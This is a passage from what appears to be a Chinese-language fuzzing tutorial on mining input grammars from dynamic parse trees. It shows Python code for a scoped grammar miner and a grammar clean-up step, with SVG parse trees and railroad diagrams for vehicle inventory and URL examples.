x="1261.5" y="-663.8"><process_vehicle@2:year></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-630.8">,</text></g> <g class="edge" id="edge10"><title>5->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-597.8"><process_vehicle@2:kind></text></g> <g class="edge" id="edge11"><title>5->11</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-564.8">,</text></g> <g class="edge" id="edge13"><title>5->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-531.8"><process_vehicle@2:company></text></g> <g class="edge" id="edge14"><title>5->14</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-498.8">,</text></g> <g class="edge" id="edge18"><title>5->18</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-465.8"><process_vehicle@2:model></text></g> <g class="edge" id="edge19"><title>5->19</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-663.8"><process_van@1:year></text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-663.8"><process_van@1:year></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-663.8">1997</text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-597.8">van</text></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-531.8"><process_van@1:company></text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-531.8"><process_van@1:company></text></g> <g class="edge" id="edge16"><title>15->16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-531.8">Ford</text></g> <g class="edge" id="edge17"><title>16->17</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-465.8"><process_van@1:model></text></g> <g class="edge" id="edge20"><title>19->20</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-465.8"><process_van@1:model></text></g> <g class="edge" id="edge21"><title>20->21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-465.8">E350</text></g> <g class="edge" id="edge22"><title>21->22</title></g> <g class="node" id="node26"><title>25</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="844" y="-333.8"><process_vehicle@1:vehicle></text></g> <g class="edge" id="edge25"><title>24->25</title></g> <g class="node" id="node27"><title>26</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1050" y="-333.8"><process_vehicle@1:vehicle></text></g> <g class="edge" id="edge26"><title>25->26</title></g> <g class="node" id="node28"><title>27</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-432.8"><process_vehicle@2:year></text></g> <g class="edge" id="edge27"><title>26->27</title></g> <g class="node" id="node32"><title>31</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-399.8">,</text></g> <g class="edge" id="edge31"><title>26->31</title></g> <g class="node" id="node33"><title>32</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-366.8"><process_vehicle@2:kind></text></g> <g class="edge" id="edge32"><title>26->32</title></g> <g class="node" id="node35"><title>34</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-333.8">,</text></g> <g class="edge" id="edge34"><title>26->34</title></g> <g class="node" id="node36"><title>35</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-300.8"><process_vehicle@2:company></text></g> <g class="edge" id="edge35"><title>26->35</title></g> <g class="node" id="node40"><title>39</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-267.8">,</text></g> <g class="edge" id="edge39"><title>26->39</title></g> <g class="node" id="node41"><title>40</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-234.8"><process_vehicle@2:model></text></g> <g class="edge" id="edge40"><title>26->40</title></g> <g class="node" id="node29"><title>28</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-432.8"><process_car@1:year></text></g> <g class="edge" id="edge28"><title>27->28</title></g> <g class="node" id="node30"><title>29</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-432.8"><process_car@1:year></text></g> <g class="edge" id="edge29"><title>28->29</title></g> <g class="node" id="node31"><title>30</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-432.8">2000</text></g> <g class="edge" id="edge30"><title>29->30</title></g> <g class="node" id="node34"><title>33</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-366.8">car</text></g> <g class="edge" id="edge33"><title>32->33</title></g> <g class="node" id="node37"><title>36</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-300.8"><process_car@1:company></text></g> <g class="edge" id="edge36"><title>35->36</title></g> <g class="node" id="node38"><title>37</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-300.8"><process_car@1:company></text></g> <g class="edge" id="edge37"><title>36->37</title></g> <g class="node" id="node39"><title>38</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-300.8">Mercury</text></g> <g class="edge" id="edge38"><title>37->38</title></g> <g class="node" id="node42"><title>41</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-234.8"><process_car@1:model></text></g> <g class="edge" id="edge41"><title>40->41</title></g> <g class="node" id="node43"><title>42</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-234.8"><process_car@1:model></text></g> <g class="edge" id="edge42"><title>41->42</title></g> <g class="node" id="node44"><title>43</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-234.8">Cougar</text></g> <g class="edge" id="edge43"><title>42->43</title></g> <g class="node" id="node47"><title>46</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="844" y="-172.8"><process_vehicle@1:vehicle></text></g> <g class="edge" id="edge46"><title>45->46</title></g> <g class="node" id="node48"><title>47</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1050" y="-119.8"><process_vehicle@1:vehicle></text></g> <g class="edge" id="edge47"><title>46->47</title></g> <g class="node" id="node49"><title>48</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-201.8"><process_vehicle@2:year></text></g> <g class="edge" id="edge48"><title>47->48</title></g> <g class="node" id="node53"><title>52</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-168.8">,</text></g> <g class="edge" id="edge52"><title>47->52</title></g> <g class="node" id="node54"><title>53</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-135.8"><process_vehicle@2:kind></text></g> <g class="edge" id="edge53"><title>47->53</title></g> <g class="node" id="node56"><title>55</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-102.8">,</text></g> <g class="edge" id="edge55"><title>47->55</title></g> <g class="node" id="node57"><title>56</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-69.8"><process_vehicle@2:company></text></g> <g class="edge" id="edge56"><title>47->56</title></g> <g class="node" id="node61"><title>60</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-36.8">,</text></g> <g class="edge" id="edge60"><title>47->60</title></g> <g class="node" id="node62"><title>61</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1261.5" y="-3.8"><process_vehicle@2:model></text></g> <g class="edge" id="edge61"><title>47->61</title></g> <g class="node" id="node50"><title>49</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-201.8"><process_car@1:year></text></g> <g class="edge" id="edge49"><title>48->49</title></g> <g class="node" id="node51"><title>50</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-201.8"><process_car@1:year></text></g> <g class="edge" id="edge50"><title>49->50</title></g> <g class="node" id="node52"><title>51</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-201.8">1999</text></g> <g class="edge" id="edge51"><title>50->51</title></g> <g class="node" id="node55"><title>54</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-135.8">car</text></g> <g class="edge" id="edge54"><title>53->54</title></g> <g class="node" id="node58"><title>57</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-69.8"><process_car@1:company></text></g> <g class="edge" id="edge57"><title>56->57</title></g> <g class="node" id="node59"><title>58</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-69.8"><process_car@1:company></text></g> <g class="edge" id="edge58"><title>57->58</title></g> <g class="node" id="node60"><title>59</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-69.8">Chevy</text></g> <g class="edge" id="edge59"><title>58->59</title></g> <g class="node" id="node63"><title>62</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1468.5" y="-3.8"><process_car@1:model></text></g> <g class="edge" id="edge62"><title>61->62</title></g> <g class="node" id="node64"><title>63</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1665.5" y="-3.8"><process_car@1:model></text></g> <g class="edge" id="edge63"><title>62->63</title></g> <g class="node" id="node65"><title>64</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1806.5" y="-3.8">Venture</text></g> <g class="edge" id="edge64"><title>63->64</title></g></g></svg>
+
+恢复的解析树似乎是合理的。
+
+从示例（2）中可能会注意到的一件事是`vehicle[2:1]`，`vehicle[4:1]`和`vehicle[6:1]`这三个子树非常相似。 接下来，我们将研究如何利用它直接生成语法。
+
+### 语法挖掘
+
+现在将`tree_to_grammar()`重新定义如下，以解决节点中的额外作用域。
+
+```py
+class ScopedGrammarMiner(GrammarMiner):
+    def tree_to_grammar(self, tree):
+        key, children, scope = tree
+        one_alt = [ckey for ckey, gchildren, cscope in children if ckey != key]
+        hsh = {key: [one_alt] if one_alt else []}
+        for child in children:
+            (ckey, _gc, _cscope) = child
+            if not is_nonterminal(ckey):
+                continue
+            chsh = self.tree_to_grammar(child)
+            for k in chsh:
+                if k not in hsh:
+                    hsh[k] = chsh[k]
+                else:
+                    hsh[k].extend(chsh[k])
+        return hsh
+
+```
+
+语法为规范形式，需要按摩才能显示。 首先，为清单恢复语法。
+
+```py
+si = ScopedGrammarMiner()
+si.add_tree(inventory_dt)
+syntax_diagram(readable(si.grammar))
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 386.5 62" width="386.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="193.25" y="35">process_inventory@1:inventory</text></g></g></g></g></svg>
+
+```py
+process_inventory@1:inventory
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 1005.5 62" width="1005.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="184.75" y="35">process_inventory@3:vehicle</text></g><g class="non-terminal"><text x="502.75" y="35">process_inventory@3:vehicle</text></g><g class="non-terminal"><text x="820.75" y="35">process_inventory@3:vehicle</text></g></g></g></g></svg>
+
+```py
+process_inventory@3:vehicle
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 352.5 62" width="352.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="176.25" y="35">process_vehicle@1:vehicle</text></g></g></g></g></svg>
+
+```py
+process_vehicle@1:vehicle
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 1187.5 62" width="1187.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="163.5" y="35">process_vehicle@2:year</text></g> <g class="terminal"><text x="301.25" y="35">,</text></g> <g class="non-terminal"><text x="439.0" y="35">process_vehicle@2:kind</text></g> <g class="terminal"><text x="576.75" y="35">,</text></g> <g class="non-terminal"><text x="727.25" y="35">process_vehicle@2:company</text></g> <g class="terminal"><text x="877.75" y="35">,</text></g> <g class="non-terminal"><text x="1019.75" y="35">process_vehicle@2:model</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:year
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 293.0 92" width="293.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="146.5" y="35">process_car@1:year</text></g></g> <g><g class="non-terminal"><text x="146.5" y="65">process_van@1:year</text></g></g></g></g></svg>
+
+```py
+process_van@1:year
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">1997</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:kind
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 165.5 92" width="165.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="82.75" y="35">van</text></g></g> <g><g class="terminal"><text x="82.75" y="65">car</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:company
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 318.5 92" width="318.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="159.25" y="35">process_van@1:company</text></g></g> <g><g class="non-terminal"><text x="159.25" y="65">process_car@1:company</text></g></g></g></g></svg>
+
+```py
+process_van@1:company
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">Ford</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:model
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 301.5 92" width="301.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">process_van@1:model</text></g></g> <g><g class="non-terminal"><text x="150.75" y="65">process_car@1:model</text></g></g></g></g></svg>
+
+```py
+process_van@1:model
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">E350</text></g></g></g></g></svg>
+
+```py
+process_car@1:year
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 174.0 92" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">2000</text></g></g> <g><g class="terminal"><text x="87.0" y="65">1999</text></g></g></g></g></svg>
+
+```py
+process_car@1:company
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 199.5 92" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Chevy</text></g></g> <g><g class="terminal"><text x="99.75" y="65">Mercury</text></g></g></g></g></svg>
+
+```py
+process_car@1:model
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 199.5 92" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Cougar</text></g></g> <g><g class="terminal"><text x="99.75" y="65">Venture</text></g></g></g></g></svg>
+
+URL的恢复语法。
+
+```py
+su = ScopedGrammarMiner()
+for url_dt in url_dts:
+    su.add_tree(url_dt)
+syntax_diagram(readable(su.grammar))
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 276.0 62" width="276.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="138.0" y="35">urlparse@361:url</text></g></g></g></g></svg>
+
+```py
+urlparse@361:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 276.0 62" width="276.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="138.0" y="35">urlsplit@394:url</text></g></g></g></g></svg>
+
+```py
+urlsplit@394:url
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 534.5 92" width="534.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">urlsplit@435:scheme</text></g> <g class="terminal"><text x="275.75" y="35">:</text></g> <g class="non-terminal"><text x="392.25" y="35">urlsplit@432:rest</text></g></g> <g><g class="non-terminal"><text x="155.0" y="65">urlsplit@412:scheme</text></g> <g class="terminal"><text x="280.0" y="65">:</text></g> <g class="non-terminal"><text x="392.25" y="65">urlsplit@413:url</text></g></g></g></g></svg>
+
+```py
+urlsplit@412:scheme
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 301.5 62" width="301.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">urlparse@369:scheme</text></g></g></g></g></svg>
+
+```py
+urlparse@369:scheme
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 182.5 122" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="91.25" y="35">ftp</text></g></g> <g><g class="terminal"><text x="91.25" y="65">https</text></g></g> <g><g class="terminal"><text x="91.25" y="95">http</text></g></g></g></g></svg>
+
+```py
+urlsplit@413:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 310.0 62" width="310.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="155.0" y="35">_splitnetloc@386:url</text></g></g></g></g></svg>
+
+```py
+_splitnetloc@386:url
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 534.5 122" width="534.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="142.25" y="35">//</text></g> <g class="non-terminal"><text x="271.5" y="35">urlsplit@438:netloc</text></g> <g class="terminal"><text x="396.5" y="35">/</text></g></g> <g><g class="terminal"><text x="78.5" y="65">//</text></g> <g class="non-terminal"><text x="207.75" y="65">urlsplit@438:netloc</text></g> <g class="non-terminal"><text x="396.5" y="65">urlsplit@438:url</text></g></g> <g><g class="terminal"><text x="78.5" y="95">//</text></g> <g class="non-terminal"><text x="207.75" y="95">urlsplit@415:netloc</text></g> <g class="non-terminal"><text x="396.5" y="95">urlsplit@415:url</text></g></g></g></g></svg>
+
+```py
+urlsplit@415:netloc
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 301.5 62" width="301.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">urlparse@369:netloc</text></g></g></g></g></svg>
+
+```py
+urlparse@369:netloc
+
+```
+
+ <svg class="railroad-diagram" height="152" viewBox="0 0 369.5 152" width="369.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="184.75" y="65">www.cispa.saarland:80</text></g></g> <g><g class="terminal"><text x="184.75" y="35">freebsd.org</text></g></g> <g><g class="terminal"><text x="184.75" y="95">user:pass@www.google.com:80</text></g></g> <g><g class="terminal"><text x="184.75" y="125">www.fuzzingbook.org</text></g></g></g></g></svg>
+
+```py
+urlsplit@415:url
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 543.0 92" width="543.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="162.25" y="35">/#</text></g> <g class="non-terminal"><text x="300.0" y="35">urlsplit@420:fragment</text></g></g> <g><g class="non-terminal"><text x="138.0" y="65">urlsplit@420:url</text></g> <g class="terminal"><text x="250.25" y="65">#</text></g> <g class="non-terminal"><text x="383.75" y="65">urlsplit@420:fragment</text></g></g></g></g></svg>
+
+```py
+urlsplit@420:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 350.0 62" width="350.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="78.5" y="35">/?</text></g> <g class="non-terminal"><text x="203.5" y="35">urlsplit@422:query</text></g></g></g></g></svg>
+
+```py
+urlsplit@422:query
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 293.0 62" width="293.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="146.5" y="35">urlparse@369:query</text></g></g></g></g></svg>
+
+```py
+urlparse@369:query
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 191.0 62" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="95.5" y="35">q=path</text></g></g></g></g></svg>
+
+```py
+urlsplit@420:fragment
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 318.5 62" width="318.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="159.25" y="35">urlparse@369:fragment</text></g></g></g></g></svg>
+
+```py
+urlparse@369:fragment
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 174.0 92" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">News</text></g></g> <g><g class="terminal"><text x="87.0" y="65">ref</text></g></g></g></g></svg>
+
+```py
+urlsplit@435:scheme
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 301.5 62" width="301.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">urlparse@369:scheme</text></g></g></g></g></svg>
+
+```py
+urlsplit@432:rest
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 276.0 62" width="276.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="138.0" y="35">urlsplit@435:url</text></g></g></g></g></svg>
+
+```py
+urlsplit@435:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 310.0 62" width="310.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="155.0" y="35">_splitnetloc@386:url</text></g></g></g></g></svg>
+
+```py
+urlsplit@438:netloc
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 301.5 62" width="301.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">urlparse@369:netloc</text></g></g></g></g></svg>
+
+```py
+urlsplit@438:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 276.0 62" width="276.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="138.0" y="35">urlparse@369:url</text></g></g></g></g></svg>
+
+```py
+urlparse@369:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 250.5 62" width="250.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="125.25" y="35">/releases/5.8</text></g></g></g></g></svg>
+
+可能会注意到，语法不是完全人类可读的，具有许多单个标记定义。
+
+因此，难题的最后一部分是清理方法`clean_grammar()`，它可以清理此类定义。 想法是寻找单个令牌定义，以便一个密钥由另一个密钥（单个替代，单个令牌，非终结符）准确地定义。
+
+```py
+class ScopedGrammarMiner(ScopedGrammarMiner):
+    def get_replacements(self, grammar):
+        replacements = {}
+        for k in grammar:
+            if k == START_SYMBOL:
+                continue
+            alts = grammar[k]
+            if len(set([str(i) for i in alts])) != 1:
+                continue
+            rule = alts[0]
+            if len(rule) != 1:
+                continue
+            tok = rule[0]
+            if not is_nonterminal(tok):
+                continue
+            replacements[k] = tok
+        return replacements
+
+```
+
+一旦有了这样的列表，就用我们先前找到的令牌迭代地替换原始密钥。 重复进行，直到没有剩余。
+
+```py
+class ScopedGrammarMiner(ScopedGrammarMiner):
+    def clean_grammar(self):
+        replacements = self.get_replacements(self.grammar)
+
+        while True:
+            changed = set()
+            for k in self.grammar:
+                if k in replacements:
+                    continue
+                new_alts = []
+                for alt in self.grammar[k]:
+                    new_alt = []
+                    for t in alt:
+                        if t in replacements:
+                            new_alt.append(replacements[t])
+                            changed.add(t)
+                        else:
+                            new_alt.append(t)
+                    new_alts.append(new_alt)
+                self.grammar[k] = new_alts
+            if not changed:
+                break
+            for k in changed:
+                self.grammar.pop(k, None)
+        return readable(self.grammar)
+
+```
+
+`clean_grammar()`的用法如下：
+
+```py
+si = ScopedGrammarMiner()
+si.add_tree(inventory_dt)
+syntax_diagram(readable(si.clean_grammar()))
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 386.5 62" width="386.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="193.25" y="35">process_inventory@1:inventory</text></g></g></g></g></svg>
+
+```py
+process_inventory@1:inventory
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 954.5 62" width="954.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="176.25" y="35">process_vehicle@1:vehicle</text></g><g class="non-terminal"><text x="477.25" y="35">process_vehicle@1:vehicle</text></g><g class="non-terminal"><text x="778.25" y="35">process_vehicle@1:vehicle</text></g></g></g></g></svg>
+
+```py
+process_vehicle@1:vehicle
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 1187.5 62" width="1187.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="163.5" y="35">process_vehicle@2:year</text></g> <g class="terminal"><text x="301.25" y="35">,</text></g> <g class="non-terminal"><text x="439.0" y="35">process_vehicle@2:kind</text></g> <g class="terminal"><text x="576.75" y="35">,</text></g> <g class="non-terminal"><text x="727.25" y="35">process_vehicle@2:company</text></g> <g class="terminal"><text x="877.75" y="35">,</text></g> <g class="non-terminal"><text x="1019.75" y="35">process_vehicle@2:model</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:year
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 293.0 92" width="293.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="146.5" y="35">process_car@1:year</text></g></g> <g><g class="non-terminal"><text x="146.5" y="65">process_van@1:year</text></g></g></g></g></svg>
+
+```py
+process_van@1:year
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">1997</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:kind
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 165.5 92" width="165.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="82.75" y="35">van</text></g></g> <g><g class="terminal"><text x="82.75" y="65">car</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:company
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 318.5 92" width="318.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="159.25" y="35">process_van@1:company</text></g></g> <g><g class="non-terminal"><text x="159.25" y="65">process_car@1:company</text></g></g></g></g></svg>
+
+```py
+process_van@1:company
+
+```
+
